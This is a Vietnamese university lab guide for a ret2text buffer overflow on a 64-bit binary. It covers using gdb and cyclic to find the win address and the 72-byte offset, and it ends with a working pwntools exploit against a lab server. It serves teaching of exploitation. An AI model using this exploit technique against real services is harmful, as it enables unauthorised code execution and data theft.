Buffer Overflow: 64 bit application 2

1. Tổng quan

Lab này bao gồm mã nguồn của chương trình lỗi được biên dịch và chạy dưới kiến trúc 64-bit.

2. Yêu cầu đối với sinh viên

Sinh viên cần có kỹ năng sử dụng câu lệnh linux, hiểu biết thức nhất định về lập trình ngôn ngữ bậc thấp, biết sử dụng python phục vụ mục đích viết payload

3. Môi trường lab

Từ thư mục labtainer-student bắt đầu bài lab bằng câu lệnh:

labtainer -r ptit-buf64_2

Sinh viên sẽ được cung cấp 3 container, trong đó:

- Container attacker: chạy 2 terminal, chứa binary của service chạy
- Container ghidra: chạy 1 terminal, chứa binary của service chạy
- Container server: chạy ẩn binary của service

4. Tasks

Mục đích bài lab: Giúp sinh viên hiểu được về kỹ thuật tấn công buffer overflow Ret2Text

a. Print win

Mục đích: Tìm được địa chỉ hàm win

Các bước thực hiện:

- Từ 1 terminal của attacker sử dụng gdb để debug file binary của service:
  - *gdb buf64_2*
- Tại cửa sổ debug của gdb sử dụng lệnh để in ra địa chỉ của hàm win:
  - *print win hoặc p win*
- Output là địa chỉ của hàm win dưới dạng hexa, lưu giá trị này lại phục vụ cho mục đích viết payload
- Thoát khỏi cửa sổ gdb:
  - *quit hoặc q*

***Task 1 quest**: Tại sao cần tìm địa chỉ hàm win? (sử dụng ghidra để hiểu rõ)*

Ans: *Vì trong hàm win có gọi đến lệnh 'system("cat flag.txt");' có thể sử dụng để đọc được giá trị flag trên server*

b. Found pattern

Mục đích: Tìm được độ dài pattern gây ra lỗi

Các bước thực hiện:

- Thực hiện sinh chuỗi pattern làm đầu vào bằng cách sử dụng lệnh trên cửa sổ terminal của attacker:
    - *cyclic 200*
- Output của câu lệnh trên sẽ là chuỗi pattern có độ dài 200, copy chuỗi trên làm input để debug
- Tiến hành chạy trình debug để debug file binary một lần nữa:
    - *gdb buf64_2*
- Chạy trình debug bằng cách sử dụng lệnh:
    - *run hoặc r*
- Paste pattern đã gen khi tiến trình yêu cầu nhập input
- Sau khi ấn enter, chương trình sẽ báo lỗi segmentation fault
- Copy 4 ký tự đầu của thanh ghi RSP ở phần REGISTERS
- Thoát tiến trình debugger:
    - *quit hoặc q*
- Tìm độ dài pattern gây ra lỗi bằng cách sử dụng cyclic:
    - *cyclic –l "<4 bytes đã copy>"*
    - *VD: cyclic –l "saaa"*
- Output sẽ là độ dài của pattern được sử dụng để tạo payload

Task 2 quest 1*: Tại sao pattern muốn sinh ra có độ dài là 200, có thể thay đổi số này không, nếu có sẽ thay đổi như thế nào?*

Ans*: Pattern cần có độ dài lớn hơn giá trị mà stack khởi tạo cho biến buf để có thể gây ra overflow, để có thể gây crash cần tối thiểu độ dài pattern lớn hơn 72, nên chọn độ dài pattern lớn hơn hẳn so với giá trị stack khởi tạo.*

Task 2 quest 2: *Pattern sinh ra có định dạng như thế nào, tại sao phải có định dạng như vậy?*

Ans: *Pattern sinh ra có định dạng ABBB, lý do là bởi công cụ sẽ sinh cụm 4 kí tự phân biệt với nhau để khi tìm kiếm (lookup) với option '-l' sẽ trực tiếp tìm ra được độ dài pattern gây lỗi một cách nhanh chóng.*

Task 2 quest 3: *Tại sao lại chọn 4 kí tự đầu tiên trên stack, có thể chọn số lượng kí tự khác được hay không, nếu có giải thích lý do?*

Ans: *Do câu lệnh cyclic cơ bản sẽ sinh pattern cho hệ thống 32 bits (thanh ghi có độ dài 4 bytes) nên khi thực hiện tìm kiếm cần lấy 4 bytes để câu lệnh lookup không trả kết quả lỗi, có thể chọn số lượng kí tự là 8 áp dụng với hệ thống 64 bits nhưng cần thêm option trong hàm, nhưng vì với mục đích là tìm độ dài pattern nên điều này không quá quan trọng.*

Task 2 quest 4: *Mục đích của những bước trên là gì?*

Ans: *Mục đích là tìm ra độ dài pattern để control RIP, khi này chỉ cần thêm vào địa bất kí sau khoảng padding với độ dài vừa tìm được sẽ có thể control RIP theo ý muốn.*

c. Flag

Mục đích: Tìm được nội dung flag được giấu trên server

Các bước thực hiện:

- Sử dụng lệnh nano để mở file payload:
    - *nano solve.py*
- File solve.py là file template sử dụng để tấn công service, mặc định file đã được setup để debug tiến trình buf64_2
- Payload sẽ có cấu trúc dạng: pattern + return_address
- Sử dụng pwntools để gửi payload, thêm dòng sau để thực hiện:
    - *p.sendlineafter(b"<<", cyclic(72) + p64(0x400707+16))*
- Lưu file và thoát sau đó tiến hành chạy

- Tại một cửa sổ terminal của attacker tiến hành chạy file pwnserver để bắt tiến trình debugger:
    - *./gdbpwn-server.sh*
- Tại cửa sổ terminal còn lại của attacker tiến hành chạy file payload:
    - *python3.8 solve.py*
- Khi này cửa sổ pwnserver sẽ bắt lấy trình debugger để có thể tương tác
- Thực hiện gõ lệnh để tiếp tục chương trình:
    - *c*
- Tại cửa sổ chạy file payload ấn phím bất kì để tiếp tục tiến trình đang bị tạm dừng
- Output có thể thấy tại trình debugger là câu lệnh cat được thực hiện thành công và nội dung flag local được in ra tại cửa sổ chạy payload

Task 3 quest: *Tại sao cần sửa địa chỉ muốn thực thi từ win thành win+16*

Ans: *Do kiến trúc x64 khiến cho việc return thẳng về hàm win làm sai stack alignment khi thực thi hàm system, nên giải pháp là bỏ qua phần stack alignment của hàm win và thực thi thẳng từ câu lệnh system('cat flag.txt') (bắt đầu từ asm instruction lea rdi, ...)*

- Tiến hành sửa payload để tấn công server
- Comment dòng p=elf.process() và gdb.attach(p) và thêm dòng p = remote("192.168.1.2", 1810)
- Tiến hành lưu và chạy lại file payload:
    - *python3.8 solve.py*
- Output là nội dung của file flag trên server
- Copy chuỗi số flag sau đó submit trên terminal của attacker bằng lệnh:
    - *echo "flag <number>"*

payload cuối cùng:

```
from pwn import *
context(terminal=['./gdbpwn-client.sh'])
elf = ELF('./buf64_2')
#p = elf.process()
#gdb.attach(p)
#pause()
p = remote('192.168.1.2', 1810)
p.sendlineafter(b'<<', cyclic(72)+p64(0x400707+16))
p.interactive()
```

5. Kết thúc bài lab

- Thực hiện checkwork bài lab bằng câu lệnh bên dưới:
    - checkwork ptit-buf64_2
- Trên terminal đầu tiên sử dụng câu lệnh sau để kết thúc bài lab:
    - stoplab ptit-buf64_2
- Trong quá trình làm bài sinh viên cần thực hiện lại bài lab, dùng câu lệnh:
    - labtainer -r ptit-buf64_2